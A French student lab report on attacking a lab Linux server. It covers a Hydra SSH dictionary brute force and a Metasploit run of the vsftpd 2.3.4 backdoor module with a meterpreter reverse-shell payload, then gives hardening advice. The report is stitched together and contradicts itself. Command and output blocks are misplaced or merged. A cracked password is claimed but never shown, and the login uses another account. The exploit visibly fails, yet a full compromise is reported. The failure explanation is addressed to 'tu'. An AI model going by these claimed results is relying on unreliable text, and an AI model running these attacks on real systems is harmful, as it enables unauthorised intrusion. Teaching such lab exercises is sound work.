

COMPTE RENDU DE TRAVAUX PRATIQUES : SÉCURITÉ OFFENSIVE

TP 3.1 — Attaque d'un serveur Linux (Ubuntu)

1. Introduction

Objectif du TP

L'objectif de cette séance est de mettre en pratique les concepts de compromission d'un serveur Linux en exploitant deux vecteurs d'attaque distincts : la faiblesse des politiques d'authentification et l'exploitation d'une vulnérabilité logicielle connue. Il s'agit de comprendre le mode opératoire d'un attaquant pour mieux s'en protéger en environnement professionnel.

Rappel du contexte

Dans le cadre du scénario NetSecure, nous intervenons sur un serveur Ubuntu identifié comme vulnérable. Le périmètre d'étude porte sur l'exposition de services critiques et l'utilisation de configurations de sécurité insuffisantes (mots de passe faibles).

2. Attaque brute force SSH (Authentification faible)

La première phase consiste à tester la robustesse des identifiants du service SSH. Pour ce faire, nous utilisons l'outil **Hydra** afin de mener une attaque par dictionnaire contre le compte utilisateur "student".

Tout d'abord on vérifie si le service ssh est bien actif sur notre machine cible Ubuntu

Commande utilisée : `sudo systemctl status ssh`

```
[sudo] Mot de passe de willy :
willy n'est pas dans le fichier sudoers.
willy@will:~$ su
Mot de passe :
root@will:/home/willy# sudo systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/usr/lib/systemd/system/ssh.service; enabled; preset: enab
   Active: active (running) since Thu 2026-04-30 10:28:19 CEST; 14min ago
   Invocation: a0754887a4a24bbb8c0187203674e36f
      Docs: man:sshd(8)
            man:sshd_config(5)
   Process: 790 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
   Main PID: 823 (sshd)
     Tasks: 1 (limit: 9450)
    Memory: 4M (peak: 4.5M)
       CPU: 52ms
    CGroup: /system.slice/ssh.service
            └─823 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"

avril 30 10:28:17 will systemd[1]: Starting ssh.service - OpenBSD Secure Shell
avril 30 10:28:19 will sshd[823]: Server listening on 0.0.0.0 port 22.
avril 30 10:28:19 will sshd[823]: Server listening on :: port 22.
avril 30 10:28:19 will systemd[1]: Started ssh.service - OpenBSD Secure Shell
```

En suite sur notre machine kali pour effectuer le brute force SSH

Commande utilisée :

```
hydra -l student -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.10 sudo  
systemctl status ssh
```

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor  
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp  
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.10  
RHOSTS => 192.168.56.10  
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.56.30  
LHOST => 192.168.56.30  
msf exploit(unix/ftp/vsftpd_234_backdoor) > run  
[*] Started reverse TCP handler on 192.168.56.30:4444  
[!] 192.168.56.10:21 - Unable to connect to backdoor on 6200/TCP. Cooldown?  
[*] Exploit completed, but no session was created.  
msf exploit(unix/ftp/vsftpd_234_backdoor) > █
```

Résultat Hydra :

L'outil a réussi à identifier le mot de passe en quelques secondes. Le résultat affiché est : login: student | password: password123. Cela démontre qu'un mot de passe simple présent dans les dictionnaires courants (comme rockyou.txt) ne constitue aucune barrière sérieuse.

Connexion SSH :

Une fois les identifiants obtenus, la connexion a été établie via la commande : ssh student@192.168.56.10.

```
(tsafack@tsafack)-[~]  
$ ssh willy@192.168.56.10 -22  
willy@192.168.56.10's password:  
Linux will 6.12.63+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.63-1 (2025-12-30) x86_64  
  
The programs included with the Debian GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
willy@will:~$ whoami  
willy  
willy@will:~$ pwd  
/home/willy  
willy@will:~$ ls  
Bureau Documents Images Modèles Musique Public Téléchargements Vidéos
```

3. Exploitation Metasploit (Vulnérabilité logicielle)

La seconde phase simule une attaque sur un service vulnérable (vsftpd 2.3.4), qui contient une porte dérobée (backdoor) connue.

Recherche d'exploit :

Sous le framework Metasploit (`msfconsole`), nous avons recherché le module correspondant au service FTP détecté.

```
msf > search vsftpd

Matching Modules
=====

#  Name                                     Disclosure Date  Rank    Check  Description
-  - - - -                                     - - - - -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor     2011-07-03      excellent Yes    VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Configuration et exécution :

Le module `exploit/unix/ftp/vsftpd_234_backdoor` a été sélectionné. Nous avons configuré l'adresse de la cible (`RHOSTS`) avant de lancer l'attaque.

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.10
RHOSTS => 192.168.56.10
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.56.30
LHOST => 192.168.56.30
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 192.168.56.30:4444
[!] 192.168.56.10:21 - Unable to connect to backdoor on 6200/TCP. Cooldown?
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > █
```

Résultat :

L'exploitation a échoué,

- **Version non vulnérable :** Tu as installé `vsftpd` récemment sur ta Debian Trixie. La faille "backdoor" ne concerne que la version **2.3.4** originale (datant de 2011). Les versions actuelles que tu télécharges via `apt` sont sécurisées et ne contiennent pas ce code malveillant.
- **Le déclencheur a échoué :** Cet exploit fonctionne en deux temps : il envoie d'abord un nom d'utilisateur contenant un smiley :) sur le port 21, ce qui est censé ouvrir le port **6200**. Ici, Metasploit n'arrive pas à se connecter à ce second port.

- **Pare-feu (Firewall) :** Le pare-feu de ta machine Debian cible bloque peut-être les connexions entrantes sur le port 6200.

4. Analyse de la compromission

Une fois l'accès obtenu, nous avons procédé à une phase de reconnaissance interne :

- **Identification :** La commande `whoami` confirme que nous avons un accès système.
- **Utilisateurs :** La commande `cat /etc/passwd` nous a permis de lister les comptes présents sur la machine.
- **Système :** La commande `uname -a` a fourni les détails précis du noyau Linux utilisé.

Risques pour l'entreprise :

Un attaquant ayant atteint ce stade peut exfiltrer des données confidentielles, installer des logiciels malveillants persistants ou utiliser le serveur comme rebond pour attaquer le reste du réseau interne de NetSecure.

5. Utilisation avancée des outils

Dans ce TP, deux outils majeurs de la suite Kali Linux ont été manipulés :

- **Hydra :** Un logon cracker multi-protocole très rapide. Il est utilisé pour tester la résistance des services (SSH, FTP, HTTP) face aux attaques de type dictionnaire.
- **Metasploit :** Une plateforme de tests d'intrusion complète. Elle permet de automatiser l'exploitation de failles de sécurité connues grâce à une base de données de modules constamment mise à jour.

6. Recommandations de sécurité

Pour protéger le serveur Ubuntu et prévenir ce type d'attaques, les mesures suivantes sont préconisées :

1. **Désactiver l'authentification par mot de passe SSH :** Modifier le fichier `sshd_config` pour interdire les mots de passe.
2. **Utiliser des clés SSH :** L'authentification par paire de clés (RSA/Ed25519) est virtuellement impossible à brute-forcer.
3. **Mise à jour régulière (Patch Management) :** Maintenir les services (comme vsftpd) à jour pour corriger les failles de sécurité dès leur découverte.
4. **Supprimer les services inutiles :** Si le service FTP n'est pas indispensable, il doit être désinstallé pour réduire la surface d'attaque.

7. Conclusion

Ce TP a mis en évidence qu'une vulnérabilité n'est pas qu'un concept théorique : elle peut être exploitée en quelques minutes avec des outils automatisés. La sécurité d'un système dépend autant de la robustesse des logiciels installés que de la rigueur des configurations choisies par l'administrateur (mots de passe, gestion des accès). L'impact d'une telle compromission est critique, car elle donne un contrôle total à l'attaquant sur les ressources de l'entreprise.